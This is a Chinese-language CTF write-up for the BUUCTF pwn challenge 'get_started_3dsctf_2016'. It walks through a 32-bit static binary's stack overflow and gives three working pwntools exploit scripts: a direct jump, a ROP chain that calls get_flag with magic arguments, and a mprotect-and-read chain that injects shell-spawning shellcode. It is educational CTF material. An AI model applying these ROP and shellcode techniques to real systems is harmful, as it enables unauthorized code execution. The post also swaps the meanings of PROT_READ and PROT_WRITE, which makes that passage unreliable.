[BUUCTF]pwn——get_started_3dsctf_2016 1
这道题个人觉得很经典,而且从中学习到的知识点也很多所以特以此题的解法梳理一下栈溢出的知识点。
检查一下,开了堆栈不可执行保护,并且是静态的32位的。
ida看一下反汇编代码和F5看一下。
没有push ebp?
动态调试一下
确实没有,那么就不用填补ebp栈底寄存器了。
main函数里面,很好是一个栈溢出漏洞。
再看一下很明显的提示get_flag()函数里面
意思是当a1=814536271,a2=425138641时,读取flag.txt然后打印。那么现在思路就很明显了有两条路。
1.因为是静态的,可以直接跳到读取文件的地址去执行。
2.通过栈溢出构造 a*0x38+函数1+函数1的返回地址+参数1+参数2的rop链去调整a1,a2两个参数使其为真。(这是32位的链)
如果是64位则需要找满足的gadget。
如pop rdi;pop rdx;ret即可,其rop链:
a*0x38+(gadget地址)+函数参数a1(rdi去存)+a2(rdx存)+getflag函数地址(ret)
对于第一种情况,找到读的地址:
exp:
from pwn import*#r = remote('node3.buuoj.cn',29414)
r= process('./get_started_3dsctf_2016')
context.log_level ='debug'
sleep(0.1)#80489B8
payload=b'a'*0x38+p32(0x80489B8)
r.sendline(payload)
sleep(0.1)
r.recv()
打本地(记得提前创建flag.txt)成功
打远程却不成功。
这里将在最后再解释为什么。
第二种情况。
构造链
a*0x38+get_flag()+函数1的返回地址(exit地址)+a1+a2
exp:
from pwn import*
r = remote('node4.buuoj.cn',29414)#r= process('./get_started_3dsctf_2016')
context.log_level ='debug'
sleep(0.1)
a1=0x308CD64F
a2=0x195719D1
addr=0x080489A0
payload=b'a'*0x38+p32(addr)+p32(0x0804E6A0)+p32(a1)+p32(a2)
r.sendline(payload)
sleep(0.1)
r.recv()
打通远程
下面解释为什么方法一打不通远程,方法二必须要exit()函数的返回地址,用其他返回地址为什么报相同的错。
可以发现的是方法一在使用完读取文件地址后就打断退出了,方法二当换为其它地址时也由于不能执行而异常退出了。这里引用bolg给出了很好的解释。
以上两种方法完必。还有学习其他师傅的高深方法这里就一并学了。
函数mprotect,其定义。
int mprotect(const void *start, size_t len, int prot);
第一个参数填的是一个地址,是指需要进行操作的地址。
第二个参数是地址往后多大的长度。
第三个参数的是要赋予的权限。
意思是将以起始地址到往后的长度的权限和属性,修改为port参数指定的值。
prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:
1)PROT_READ:表示内存段内的内容可写;
2)PROT_WRITE:表示内存段内的内容可读;
3)PROT_EXEC:表示内存段中的内容可执行;
4)PROT_NONE:表示内存段中的内容根本没法访问。
port=7 则表示这段内存可写可读可执行,用二进制即可解释(0111),1有效即表示了4种情况。
这样我们就可以往栈上写入shellcode然后执行即可获得shell。
所以我们得先构造
payload=b’a’*0x38+mprotect_addr+参数1、、、
又因为传完参数后又要返回执行所以这里必须要用gadget去劫持而不是用32位的栈运行顺序去做。那么接下来的问题就是选址问题,这里函数规定指定的内存空间必须包含整个内存页(4k=2^12=B),所以查看程序段表的DATA段ctrl+s。
这里选地址0x80EB000刚好到bss有4K,并且通过gdb调试看权限。也满足。
现在还差为了后续控制程序的rop,并且能保存传递3个参数的gadget,找。
ROPgadget --binary get_started_3dsctf_2016 --only ‘pop|ret’ | grep pop
选这个,其他的也行,构造。
payload=b’a’*0x38+p32(m_addr)+p32(gadget_ret)+p32(m_size)+p32(m_port)+p32(m_addr)+p32(其他函数)
这里是用m函数-》gadget-》read-》m
这里gadget主要作用是为了让程序不崩坏的,间接传参给m函数,如果直接用函数栈的方式会导致参数过多然后是的程序崩溃。
函数rop构造好,现在要向里面写那么就得调用
read函数对地址进行写操作。read原型:
ssize_t read(int fd,void*buf, size_t count);
fd 设为0时就可以从输入端读取内容 设为0
buf 设为我们想要执行的内存地址 设为我们已找到的内存地址0x80EB000
size 适当大小就可以 只要够读入shellcode就可以,设置大点无所谓
因为后继运行段地址时不需要参数了,所以直接用32位的函数运行栈去运行即可。
exp:
from pwn import*
elf = ELF('./get_started_3dsctf_2016')
context.log_level ='debug'
r=remote('node4.buuoj.cn',29431)
gadget =0x804f460
m_addr =0x80EB000
m_size =0x1000
m_proc =0x7
mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']
payload = b'a'*0x38
payload += p32(mprotect_addr)
payload += p32(gadget)
payload += p32(m_addr)
payload += p32(m_size)
payload += p32(m_proc)
payload += p32(read_addr)
payload += p32(m_addr)
payload += p32(0)
payload += p32(m_addr)
payload += p32(0x100)
r.sendline(payload)
payload = asm(shellcraft.sh())
r.sendline(payload)
r.interactive()
若有错误,敬请指出,我定会修改。
引用:
https://www.cnblogs.com/bhxdn/p/12679290.html
https://blog.csdn.net/mcmuyanga/article/details/108274091
版权归原作者 wh0@am1 所有, 如有侵权,请联系我们删除。